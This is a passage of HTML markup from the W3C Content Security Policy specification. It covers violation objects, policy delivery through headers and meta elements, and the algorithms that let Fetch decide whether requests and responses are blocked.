policy, and directive\" data-level=\"2.4.2\" id=\"create-violation-for-request\"><span class=\"secno\">2.4.2. </span><span class=\"content\"> Create a violation object for <var>request</var>, <var>policy</var>, and <var>directive</var> </span><a class=\"self-link\" href=\"#create-violation-for-request\"></a></h4>\n    <p>Given a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request\" id=\"ref-for-concept-request⑤\">request</a> (<var>request</var>), a <a data-link-type=\"dfn\" href=\"#content-security-policy-object\" id=\"ref-for-content-security-policy-object①⑥\">policy</a> (<var>policy</var>), and a string\n  (<var>directive</var>), the following algorithm creates a new <a data-link-type=\"dfn\" href=\"#violation\" id=\"ref-for-violation①⑥\">violation</a> object,\n  and populates it with an initial set of data:</p>\n    <ol>\n     <li data-md=\"\">\n      <p>Let <var>violation</var> be the result of executing <a href=\"#create-violation-for-global\">§2.4.1 Create a violation object for global, policy, and directive</a> on <var>request</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-client\" id=\"ref-for-concept-request-client\">client</a>’s <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/webappapis.html#concept-settings-object-global\" id=\"ref-for-concept-settings-object-global\">global object</a>, <var>policy</var>, and <var>directive</var>.</p>\n     <li data-md=\"\">\n      <p>Set <var>violation</var>’s <a data-link-type=\"dfn\" href=\"#violation-resource\" id=\"ref-for-violation-resource①\">resource</a> to <var>request</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-url\" id=\"ref-for-concept-request-url\">url</a>.</p>\n      <p class=\"note\" role=\"note\"><span>Note:</span> We use <var>request</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-url\" id=\"ref-for-concept-request-url①\">url</a>, and <em>not</em> its <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-current-url\" id=\"ref-for-concept-request-current-url\">current url</a>, as the latter might contain information\n  about redirect targets to which the page MUST NOT be given access.</p>\n     <li data-md=\"\">\n      <p>Return <var>violation</var>.</p>\n    </ol>\n   </section>\n   <section>\n    <h2 class=\"heading settled\" data-level=\"3\" id=\"policy-delivery\"><span class=\"secno\">3. </span><span class=\"content\"> Policy Delivery </span><a class=\"self-link\" href=\"#policy-delivery\"></a></h2>\n    <p>A server MAY declare a <a data-link-type=\"dfn\" href=\"#content-security-policy-object\" id=\"ref-for-content-security-policy-object①⑦\">policy</a> for a particular <a data-link-type=\"dfn\" href=\"https://tools.ietf.org/html/rfc7231#section-3\" id=\"ref-for-section-3\">resource\n  representation</a> via an HTTP response header field whose value is a <a data-link-type=\"dfn\" href=\"#serialized-csp\" id=\"ref-for-serialized-csp③\">serialized CSP</a>. This mechanism is defined in detail in <a href=\"#csp-header\">§3.1 The Content-Security-Policy HTTP Response Header Field</a> and <a href=\"#cspro-header\">§3.2 The Content-Security-Policy-Report-Only HTTP Response Header Field</a>, and the integration with Fetch\n  and HTML is described in <a href=\"#fetch-integration\">§4.1 Integration with Fetch</a> and <a href=\"#html-integration\">§4.2 Integration with HTML</a>.</p>\n    <p>A <a data-link-type=\"dfn\" href=\"#content-security-policy-object\" id=\"ref-for-content-security-policy-object①⑧\">policy</a> may also be declared inline in an HTML document via a <code><a data-link-type=\"element\" href=\"https://html.spec.whatwg.org/multipage/semantics.html#meta\" id=\"ref-for-meta\">meta</a></code> element’s <code><a data-link-type=\"element-sub\" href=\"https://html.spec.whatwg.org/multipage/semantics.html#attr-meta-http-equiv\" id=\"ref-for-attr-meta-http-equiv\">http-equiv</a></code> attribute, as described in <a href=\"#meta-element\">§3.3 The &lt;meta> element</a>.</p>\n    <h3 class=\"heading settled\" data-level=\"3.1\" id=\"csp-header\"><span class=\"secno\">3.1. </span><span class=\"content\"> The <code>Content-Security-Policy</code> HTTP Response Header Field </span><a class=\"self-link\" href=\"#csp-header\"></a></h3>\n    <p>The <dfn class=\"dfn-paneled\" data-dfn-type=\"http-header\" data-export=\"\" id=\"header-content-security-policy\"><code>Content-Security-Policy</code></dfn> HTTP response header field is the preferred mechanism for delivering a policy from a server to a\n  client. The header’s value is represented by the following ABNF <a data-link-type=\"biblio\" href=\"#biblio-rfc5234\">[RFC5234]</a>:</p>\n<pre>Content-Security-Policy = 1#<a data-link-type=\"grammar\" href=\"#grammardef-serialized-policy\" id=\"ref-for-grammardef-serialized-policy①\">serialized-policy</a>\n</pre>\n    <div class=\"example\" id=\"example-cc966e28\">\n     <a class=\"self-link\" href=\"#example-cc966e28\"></a> \n<pre><a data-link-type=\"http-header\" href=\"#header-content-security-policy\" id=\"ref-for-header-content-security-policy\">Content-Security-Policy</a>: script-src 'self';\n                         report-to csp-reporting-endpoint\n</pre>\n    </div>\n    <p>A server MAY send different <code>Content-Security-Policy</code> header field\n  values with different <a data-link-type=\"dfn\" href=\"https://tools.ietf.org/html/rfc7231#section-3\" id=\"ref-for-section-3①\">representations</a> of the same resource.</p>\n    <p>A server SHOULD NOT send more than one HTTP response header field named\n  \"<code>Content-Security-Policy</code>\" with a given <a data-link-type=\"dfn\" href=\"https://tools.ietf.org/html/rfc7231#section-3\" id=\"ref-for-section-3②\">resource\n  representation</a>.</p>\n    <p>When the user agent receives a <code>Content-Security-Policy</code> header field, it\n  MUST <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/CSP3/#parse-serialized-policy\" id=\"ref-for-parse-serialized-policy\">parse</a> and <a data-link-type=\"dfn\" href=\"#enforced\" id=\"ref-for-enforced\">enforce</a> each <a data-link-type=\"dfn\" href=\"#serialized-csp\" id=\"ref-for-serialized-csp④\">serialized CSP</a> it contains as described in <a href=\"#fetch-integration\">§4.1 Integration with Fetch</a>, <a href=\"#html-integration\">§4.2 Integration with HTML</a>.</p>\n    <h3 class=\"heading settled\" data-level=\"3.2\" id=\"cspro-header\"><span class=\"secno\">3.2. </span><span class=\"content\"> The <code>Content-Security-Policy-Report-Only</code> HTTP Response Header Field </span><a class=\"self-link\" href=\"#cspro-header\"></a></h3>\n    <p>The <dfn class=\"dfn-paneled\" data-dfn-type=\"http-header\" data-export=\"\" id=\"header-content-security-policy-report-only\"><code>Content-Security-Policy-Report-Only</code></dfn> HTTP response header field allows web developers to experiment with policies by monitoring (but\n  not enforcing) their effects. The header’s value is represented by the following ABNF <a data-link-type=\"biblio\" href=\"#biblio-rfc5234\">[RFC5234]</a>:</p>\n<pre>Content-Security-Policy-Report-Only = 1#<a data-link-type=\"grammar\" href=\"#grammardef-serialized-policy\" id=\"ref-for-grammardef-serialized-policy②\">serialized-policy</a>\n</pre>\n    <p>This header field allows developers to piece together their security policy in\n  an iterative fashion, deploying a report-only policy based on their best\n  estimate of how their site behaves, watching for violation reports, and then\n  moving to an enforced policy once they’ve gained confidence in that behavior.</p>\n    <div class=\"example\" id=\"example-971dbae8\">\n     <a class=\"self-link\" href=\"#example-971dbae8\"></a> \n<pre><a data-link-type=\"http-header\" href=\"#header-content-security-policy-report-only\" id=\"ref-for-header-content-security-policy-report-only\">Content-Security-Policy-Report-Only</a>: script-src 'self';\n                                     report-to csp-reporting-endpoint\n</pre>\n    </div>\n    <p>A server MAY send different <code>Content-Security-Policy-Report-Only</code> header field values with different <a data-link-type=\"dfn\" href=\"https://tools.ietf.org/html/rfc7231#section-3\" id=\"ref-for-section-3③\">representations</a> of the same\n  resource.</p>\n    <p>A server SHOULD NOT send more than one HTTP response header field named\n  \"<code>Content-Security-Policy-Report-Only</code>\" with a given <a data-link-type=\"dfn\" href=\"https://tools.ietf.org/html/rfc7231#section-3\" id=\"ref-for-section-3④\">resource\n  representation</a>.</p>\n    <p>When the user agent receives a <code>Content-Security-Policy-Report-Only</code> header\n  field, it MUST <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/CSP3/#parse-serialized-policy\" id=\"ref-for-parse-serialized-policy①\">parse</a> and <a data-link-type=\"dfn\" href=\"#monitored\" id=\"ref-for-monitored\">monitor</a> each <a data-link-type=\"dfn\" href=\"#serialized-csp\" id=\"ref-for-serialized-csp⑤\">serialized CSP</a> it contains as described in <a href=\"#fetch-integration\">§4.1 Integration with Fetch</a> and <a href=\"#html-integration\">§4.2 Integration with HTML</a>.</p>\n    <p class=\"note\" role=\"note\"><span>Note:</span> The <a data-link-type=\"http-header\" href=\"#header-content-security-policy-report-only\" id=\"ref-for-header-content-security-policy-report-only①\"><code>Content-Security-Policy-Report-Only</code></a> header is <strong>not</strong> supported inside a <code><a data-link-type=\"element\" href=\"https://html.spec.whatwg.org/multipage/semantics.html#meta\" id=\"ref-for-meta①\">meta</a></code> element.</p>\n    <h3 class=\"heading settled\" data-level=\"3.3\" id=\"meta-element\"><span class=\"secno\">3.3. </span><span class=\"content\"> The <code>&lt;meta></code> element </span><a class=\"self-link\" href=\"#meta-element\"></a></h3>\n    <p>A <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://dom.spec.whatwg.org/#document\" id=\"ref-for-document②\">Document</a></code> may deliver a policy via one or more HTML <code><a data-link-type=\"element\" href=\"https://html.spec.whatwg.org/multipage/semantics.html#meta\" id=\"ref-for-meta②\">meta</a></code> elements\n  whose <code><a data-link-type=\"element-sub\" href=\"https://html.spec.whatwg.org/multipage/semantics.html#attr-meta-http-equiv\" id=\"ref-for-attr-meta-http-equiv①\">http-equiv</a></code> attributes are an <a data-link-type=\"dfn\" href=\"https://infra.spec.whatwg.org/#ascii-case-insensitive\" id=\"ref-for-ascii-case-insensitive\">ASCII case-insensitive</a> match for the string \"<code>Content-Security-Policy</code>\". For example:</p>\n    <div class=\"example\" id=\"example-f977fbdb\">\n     <a class=\"self-link\" href=\"#example-f977fbdb\"></a> \n<pre class=\"highlight\"><span class=\"nt\">&lt;meta</span> <span class=\"na\">http-equiv=</span><span class=\"s\">\"Content-Security-Policy\"</span> <span class=\"na\">content=</span><span class=\"s\">\"script-src 'self'\"</span><span class=\"nt\">></span>\n</pre>\n    </div>\n    <p>Implementation details can be found in HTML’s <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/semantics.html#attr-meta-http-equiv-content-security-policy\" id=\"ref-for-attr-meta-http-equiv-content-security-policy\">Content Security Policy\n  state</a> <code>http-equiv</code> processing instructions <a data-link-type=\"biblio\" href=\"#biblio-html\">[HTML]</a>.</p>\n    <p class=\"note\" role=\"note\"><span>Note:</span> The <a data-link-type=\"http-header\" href=\"#header-content-security-policy-report-only\" id=\"ref-for-header-content-security-policy-report-only②\"><code>Content-Security-Policy-Report-Only</code></a> header is <em>not</em> supported inside a <code><a data-link-type=\"element\" href=\"https://html.spec.whatwg.org/multipage/semantics.html#meta\" id=\"ref-for-meta③\">meta</a></code> element. Neither are the <code>report-uri</code>, <code>frame-ancestors</code>, and <code>sandbox</code> directives.</p>\n    <p>Authors are <em>strongly encouraged</em> to place <code><a data-link-type=\"element\" href=\"https://html.spec.whatwg.org/multipage/semantics.html#meta\" id=\"ref-for-meta④\">meta</a></code> elements as early\n  in the document as possible, because policies in <code><a data-link-type=\"element\" href=\"https://html.spec.whatwg.org/multipage/semantics.html#meta\" id=\"ref-for-meta⑤\">meta</a></code> elements are not\n  applied to content which precedes them. In particular, note that resources\n  fetched or prefetched using the <code>Link</code> HTTP response header\n  field, and resources fetched or prefetched using <code><a data-link-type=\"element\" href=\"https://html.spec.whatwg.org/multipage/semantics.html#the-link-element\" id=\"ref-for-the-link-element\">link</a></code> and <code><a data-link-type=\"element\" href=\"https://html.spec.whatwg.org/multipage/scripting.html#script\" id=\"ref-for-script②\">script</a></code> elements which precede a <code><a data-link-type=\"element\" href=\"https://html.spec.whatwg.org/multipage/semantics.html#meta\" id=\"ref-for-meta⑥\">meta</a></code>-delivered policy will not be blocked.</p>\n    <p class=\"note\" role=\"note\"><span>Note:</span> A policy specified via a <code><a data-link-type=\"element\" href=\"https://html.spec.whatwg.org/multipage/semantics.html#meta\" id=\"ref-for-meta⑦\">meta</a></code> element will be enforced along with\n  any other policies active for the protected resource, regardless\n  of where they’re specified. The general impact of enforcing multiple\n  policies is described in <a href=\"#multiple-policies\">§8.1 The effect of multiple policies</a>.</p>\n    <p class=\"note\" role=\"note\"><span>Note:</span> Modifications to the <code><a data-link-type=\"element-sub\" href=\"https://html.spec.whatwg.org/multipage/semantics.html#attr-meta-content\" id=\"ref-for-attr-meta-content\">content</a></code> attribute of a <code><a data-link-type=\"element\" href=\"https://html.spec.whatwg.org/multipage/semantics.html#meta\" id=\"ref-for-meta⑧\">meta</a></code> element\n  after the element has been parsed will be ignored.</p>\n   </section>\n   <section>\n    <h2 class=\"heading settled\" data-level=\"4\" id=\"integrations\"><span class=\"secno\">4. </span><span class=\"content\">Integrations</span><a class=\"self-link\" href=\"#integrations\"></a></h2>\n    <p><em>This section is non-normative.</em></p>\n    <p>This document defines a set of algorithms which are used in other\n  specifications in order to implement the functionality. These\n  integrations are outlined here for clarity, but those external\n  documents are the normative references which ought to be consulted for\n  detailed information.</p>\n    <h3 class=\"heading settled\" data-level=\"4.1\" id=\"fetch-integration\"><span class=\"secno\">4.1. </span><span class=\"content\"> Integration with Fetch </span><a class=\"self-link\" href=\"#fetch-integration\"></a></h3>\n    <p>A number of <a data-link-type=\"dfn\" href=\"#directives\" id=\"ref-for-directives⑦\">directives</a> control resource loading in one way or\n  another. This specification provides algorithms which allow Fetch to make\n  decisions about whether or not a particular <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request\" id=\"ref-for-concept-request⑥\">request</a> should be blocked\n  or allowed, and about whether a particular <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response\" id=\"ref-for-concept-response④\">response</a> should be replaced\n  with a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-network-error\" id=\"ref-for-concept-network-error\">network error</a>.</p>\n    <ol>\n     <li data-md=\"\">\n      <p><a href=\"#should-block-request\">§4.1.3 Should request be blocked by Content Security Policy?</a> is called as part of step #5 of its <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-main-fetch\" id=\"ref-for-concept-main-fetch\">Main\n  Fetch</a> algorithm. This allows directives' <a data-link-type=\"dfn\" href=\"#directive-pre-request-check\" id=\"ref-for-directive-pre-request-check\">pre-request checks</a> to be executed against each <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request\" id=\"ref-for-concept-request⑦\">request</a> before it hits the network,\n  and against each redirect that a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request\" id=\"ref-for-concept-request⑧\">request</a> might go through on its\n  way to reaching a resource.</p>\n     <li data-md=\"\">\n      <p><a href=\"#should-block-response\">§4.1.4 Should response to request be blocked by Content\n    Security Policy?</a> is called as part of step #13 of its <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-main-fetch\" id=\"ref-for-concept-main-fetch①\">Main\n  Fetch</a> algorithm. This allows directives' <a data-link-type=\"dfn\" href=\"#directive-post-request-check\" id=\"ref-for-directive-post-request-check\">post-request checks</a> and <a data-link-type=\"dfn\" href=\"#directive-response-check\" id=\"ref-for-directive-response-check\">response checks</a> to be executed on the <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response\" id=\"ref-for-concept-response⑤\">response</a> delivered\n  from the network or from a Service Worker.</p>\n    </ol>\n    <p>A <a data-link-type=\"dfn\" href=\"#content-security-policy-object\" id=\"ref-for-content-security-policy-object①⑨\">policy</a> is generally enforced upon a <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/webappapis.html#global-object\" id=\"ref-for-global-object④\">global object</a>, but the\n  user agent needs to <a data-link-type=\"dfn\" href=\"https://www.w3.org/TR/CSP3/#parse-serialized-policy\" id=\"ref-for-parse-serialized-policy②\">parse</a> any policy\n  delivered via an HTTP response header field before any <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/webappapis.html#global-object\" id=\"ref-for-global-object⑤\">global object</a> is created in order to handle directives that require knowledge of a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response\" id=\"ref-for-concept-response⑥\">response</a>’s details. To that end:</p>\n    <ol>\n     <li data-md=\"\">\n      <p>A <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response\" id=\"ref-for-concept-response⑦\">response</a> has an associated <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response-csp-list\" id=\"ref-for-concept-response-csp-list\">CSP list</a> which\n  contains any policy objects delivered in the <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response\" id=\"ref-for-concept-response⑧\">response</a>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response-header-list\" id=\"ref-for-concept-response-header-list\">header list</a>.</p>\n     <li data-md=\"\">\n      <p><a href=\"#set-response-csp-list\">§4.1.1 Set response’s CSP list</a> is called in the <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-http-fetch\" id=\"ref-for-concept-http-fetch\">HTTP fetch</a> and <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-http-network-fetch\" id=\"ref-for-concept-http-network-fetch\">HTTP-network fetch</a> algorithms.</p>\n      <p class=\"note\" role=\"note\"><span>Note:</span> These two calls should ensure that a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response\" id=\"ref-for-concept-response⑨\">response</a>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response-csp-list\" id=\"ref-for-concept-response-csp-list①\">CSP list</a> is set, regardless of how the <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response\" id=\"ref-for-concept-response①⓪\">response</a> is created. If we hit the network (via <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-http-network-fetch\" id=\"ref-for-concept-http-network-fetch①\">HTTP-network\n  fetch</a>, then we parse the policy before we handle the <code>Set-Cookie</code> header. If we get a response from a Service Worker (via <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-http-fetch\" id=\"ref-for-concept-http-fetch①\">HTTP fetch</a>,\n  we’ll process its <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response-csp-list\" id=\"ref-for-concept-response-csp-list②\">CSP list</a> before handing the\n  response back to our caller.</p>\n    </ol>\n    <h4 class=\"heading settled algorithm\" data-algorithm=\"Set response’s CSP list\" data-level=\"4.1.1\" id=\"set-response-csp-list\"><span class=\"secno\">4.1.1. </span><span class=\"content\"> Set <var>response</var>’s <code>CSP list</code> </span><a class=\"self-link\" href=\"#set-response-csp-list\"></a></h4>\n    <p>Given a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response\" id=\"ref-for-concept-response①①\">response</a> (<var>response</var>), this algorithm evaluates its <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response-header-list\" id=\"ref-for-concept-response-header-list①\">header list</a> for <a data-link-type=\"dfn\" href=\"#serialized-csp\" id=\"ref-for-serialized-csp⑥\">serialized CSP</a> values, and\n  populates its <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response-csp-list\" id=\"ref-for-concept-response-csp-list③\">CSP list</a> accordingly:</p>\n    <ol class=\"algorithm\">\n     <li data-md=\"\">\n      <p>Set <var>response</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response-csp-list\" id=\"ref-for-concept-response-csp-list④\">CSP list</a> to the empty list.</p>\n     <li data-md=\"\">\n      <p>Let <var>policies</var> be the result of <a data-link-type=\"abstract-op\" href=\"#abstract-opdef-parse-a-serialized-csp-list\" id=\"ref-for-abstract-opdef-parse-a-serialized-csp-list\">parsing</a> the result of <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#extract-header-list-values\" id=\"ref-for-extract-header-list-values\">extracting header list values</a> given <code>Content-Security-Policy</code> and <var>response</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response-header-list\" id=\"ref-for-concept-response-header-list②\">header list</a>, with a <a data-link-type=\"dfn\" href=\"#policy-source\" id=\"ref-for-policy-source⑤\">source</a> of \"<code>header</code>\", and a <a data-link-type=\"dfn\" href=\"#policy-disposition\" id=\"ref-for-policy-disposition⑤\">disposition</a> of \"<code>enforce</code>\".</p>\n     <li data-md=\"\">\n      <p>Append to <var>policies</var> the result of <a data-link-type=\"abstract-op\" href=\"#abstract-opdef-parse-a-serialized-csp-list\" id=\"ref-for-abstract-opdef-parse-a-serialized-csp-list①\">parsing</a> the result of <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#extract-header-list-values\" id=\"ref-for-extract-header-list-values①\">extracting header list values</a> given <code>Content-Security-Policy-Report-Only</code> and <var>response</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response-header-list\" id=\"ref-for-concept-response-header-list③\">header list</a>, with a <a data-link-type=\"dfn\" href=\"#policy-source\" id=\"ref-for-policy-source⑥\">source</a> of \"<code>header</code>\", and a <a data-link-type=\"dfn\" href=\"#policy-disposition\" id=\"ref-for-policy-disposition⑥\">disposition</a> of \"<code>report</code>\".</p>\n     <li data-md=\"\">\n      <p>For each <var>policy</var> in <var>policies</var>:</p>\n      <ol>\n       <li data-md=\"\">\n        <p>Insert <var>policy</var> into <var>response</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response-csp-list\" id=\"ref-for-concept-response-csp-list⑤\">CSP list</a>.</p>\n      </ol>\n    </ol>\n    <h4 class=\"heading settled algorithm\" data-algorithm=\"Report Content Security Policy violations for request\" data-level=\"4.1.2\" id=\"report-for-request\"><span class=\"secno\">4.1.2. </span><span class=\"content\"> Report Content Security Policy violations for <var>request</var> </span><a class=\"self-link\" href=\"#report-for-request\"></a></h4>\n    <p>Given a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request\" id=\"ref-for-concept-request⑨\">request</a> (<var>request</var>), this algorithm reports violations based\n  on <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-client\" id=\"ref-for-concept-request-client①\">client</a>’s \"report only\" policies.</p>\n    <ol>\n     <li data-md=\"\">\n      <p>Let <var>CSP list</var> be <var>request</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-client\" id=\"ref-for-concept-request-client②\">client</a>’s <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/webappapis.html#concept-settings-object-global\" id=\"ref-for-concept-settings-object-global①\">global object</a>’s <a data-link-type=\"dfn\" href=\"#global-object-csp-list\" id=\"ref-for-global-object-csp-list\">CSP list</a>.</p>\n     <li data-md=\"\">\n      <p>For each <var>policy</var> in <var>CSP list</var>:</p>\n      <ol>\n       <li data-md=\"\">\n        <p>If <var>policy</var>’s <a data-link-type=\"dfn\" href=\"#policy-disposition\" id=\"ref-for-policy-disposition⑦\">disposition</a> is \"<code>enforce</code>\",\n  then skip to the next <var>policy</var>.</p>\n       <li data-md=\"\">\n        <p>Let <var>violates</var> be the result of executing <a href=\"#does-request-violate-policy\">§6.6.1.1 Does request violate policy?</a> on <var>request</var> and <var>policy</var>.</p>\n       <li data-md=\"\">\n        <p>If <var>violates</var> is not \"<code>Does Not Violate</code>\", then execute <a href=\"#report-violation\">§5.3 Report a violation</a> on the result of executing <a href=\"#create-violation-for-request\">§2.4.2 Create a violation object for request, policy, and directive</a> on <var>request</var>, <var>policy</var>, and <var>violates</var>.</p>\n      </ol>\n    </ol>\n    <h4 class=\"heading settled algorithm\" data-algorithm=\"Should request be blocked by Content Security Policy?\" data-level=\"4.1.3\" id=\"should-block-request\"><span class=\"secno\">4.1.3. </span><span class=\"content\"> Should <var>request</var> be blocked by Content Security Policy? </span><a class=\"self-link\" href=\"#should-block-request\"></a></h4>\n    <p>Given a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request\" id=\"ref-for-concept-request①⓪\">request</a> (<var>request</var>), this algorithm returns <code>Blocked</code> or <code>Allowed</code> and reports violations based on <var>request</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-client\" id=\"ref-for-concept-request-client③\">client</a>’s Content Security Policy.</p>\n    <ol>\n     <li data-md=\"\">\n      <p>Let <var>CSP list</var> be <var>request</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-client\" id=\"ref-for-concept-request-client④\">client</a>’s <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/webappapis.html#concept-settings-object-global\" id=\"ref-for-concept-settings-object-global②\">global object</a>’s <a data-link-type=\"dfn\" href=\"#global-object-csp-list\" id=\"ref-for-global-object-csp-list①\">CSP list</a>.</p>\n     <li data-md=\"\">\n      <p>Let <var>result</var> be \"<code>Allowed</code>\".</p>\n     <li data-md=\"\">\n      <p>For each <var>policy</var> in <var>CSP list</var>:</p>\n      <ol>\n       <li data-md=\"\">\n        <p>If <var>policy</var>’s <a data-link-type=\"dfn\" href=\"#policy-disposition\" id=\"ref-for-policy-disposition⑧\">disposition</a> is \"<code>report</code>\",\n  then skip to the next <var>policy</var>.</p>\n       <li data-md=\"\">\n        <p>Let <var>violates</var> be the result of executing <a href=\"#does-request-violate-policy\">§6.6.1.1 Does request violate policy?</a> on <var>request</var> and <var>policy</var>.</p>\n       <li data-md=\"\">\n        <p>If <var>violates</var> is not \"<code>Does Not Violate</code>\", then:</p>\n        <ol>\n         <li data-md=\"\">\n          <p>Execute <a href=\"#report-violation\">§5.3 Report a violation</a> on the result of executing <a href=\"#create-violation-for-request\">§2.4.2 Create a violation object for request, policy, and directive</a> on <var>request</var>, <var>policy</var>, and <var>violates</var>.</p>\n         <li data-md=\"\">\n          <p>Set <var>result</var> to \"<code>Blocked</code>\".</p>\n        </ol>\n      </ol>\n     <li data-md=\"\">\n      <p>Return <var>result</var>.</p>\n    </ol>\n    <h4 class=\"heading settled algorithm\" data-algorithm=\"Should response to request be blocked by Content\n    Security Policy?\" data-level=\"4.1.4\" id=\"should-block-response\"><span class=\"secno\">4.1.4. </span><span class=\"content\"> Should <var>response</var> to <var>request</var> be blocked by Content\n    Security Policy? </span><a class=\"self-link\" href=\"#should-block-response\"></a></h4>\n    <p>Given a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response\" id=\"ref-for-concept-response①②\">response</a> (<var>response</var>) and a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request\" id=\"ref-for-concept-request①①\">request</a> (<var>request</var>), this algorithm returns <code>Blocked</code> or <code>Allowed</code>, and reports violations based on <var>request</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-client\" id=\"ref-for-concept-request-client⑤\">client</a>’s Content Security Policy.</p>\n    <ol>\n     <li data-md=\"\">\n      <p>Let <var>CSP list</var> be <var>request</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-client\" id=\"ref-for-concept-request-client⑥\">client</a>’s <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/multipage/webappapis.html#concept-settings-object-global\" id=\"ref-for-concept-settings-object-global③\">global object</a>’s <a data-link-type=\"dfn\" href=\"#global-object-csp-list\" id=\"ref-for-global-object-csp-list②\">CSP list</a>.</p>\n     <li data-md=\"\">\n      <p>Let <var>result</var> be \"<code>Allowed</code>\".</p>\n     <li data-md=\"\">\n      <p>For each <var>policy</var> in <var>CSP list</var>:</p>\n      <ol>\n       <li data-md=\"\">\n        <p>For each <var>directive</var> in <var>policy</var>:</p>\n        <ol>\n         <li data-md=\"\">\n          <p>If the result of executing <var>directive</var>’s <a data-link-type=\"dfn\" href=\"#directive-post-request-check\" id=\"ref-for-directive-post-request-check①\">post-request check</a> is \"<code>Blocked</code>\", then:</p>\n          <ol>\n           <li data-md=\"\">\n            <p>Execute <a href=\"#report-violation\">§5.3 Report a violation</a> on the result of executing <a href=\"#create-violation-for-request\">§2.4.2 Create a violation object for request, policy, and directive</a> on <var>request</var>, <var>policy</var>, and <var>directive</var>.</p>\n           <li data-md=\"\">\n            <p>If <var>policy</var>’s <a data-link-type=\"dfn\" href=\"#policy-disposition\" id=\"ref-for-policy-disposition⑨\">disposition</a> is \"<code>enforce</code>\",\n  then set <var>result</var> to \"<code>Blocked</code>\".</p>\n          </ol>\n        </ol>\n      </ol>\n      <p class=\"note\" role=\"note\"><span>Note:</span> This portion of the check verifies that the page can load the\n  response. That is, that a Service Worker hasn’t substituted a file which\n  would violate the page’s CSP.</p>\n     <li data-md=\"\">\n      <p>For each <var>policy</var> in <var>response</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response-csp-list\" id=\"ref-for-concept-response-csp-list⑥\">CSP list</a>:</p>\n      <ol>\n       <li data-md=\"\">\n        <p>For each <var>directive</var> in <var>policy</var>:</p>\n        <ol>\n         <li data-md=\"\">\n          <p>If the result of executing <var>directive</var>’s <a data-link-type=\"dfn\" href=\"#directive-response-check\" id=\"ref-for-directive-response-check①\">response check</a> on <var>request</var>, <var>response</var>,\n  and <var>policy</var> is \"<code>Blocked</code>\", then:</p>\n          <ol>\n           <li data-md=\"\">\n            <p>Execute <a href=\"#report-violation\">§5.3 Report a violation</a> on the result of executing <a href=\"#create-violation-for-request\">§2.4.2 Create a violation object for request, policy, and directive</a> on <var>request</var>, <var>policy</var>, and <var>directive</var>.</p>\n           <li data-md=\"\">\n            <p>If <var>policy</var>’s <a data-link-type=\"dfn\" href=\"#policy-disposition\" id=\"ref-for-policy-disposition①⓪\">disposition</a> is 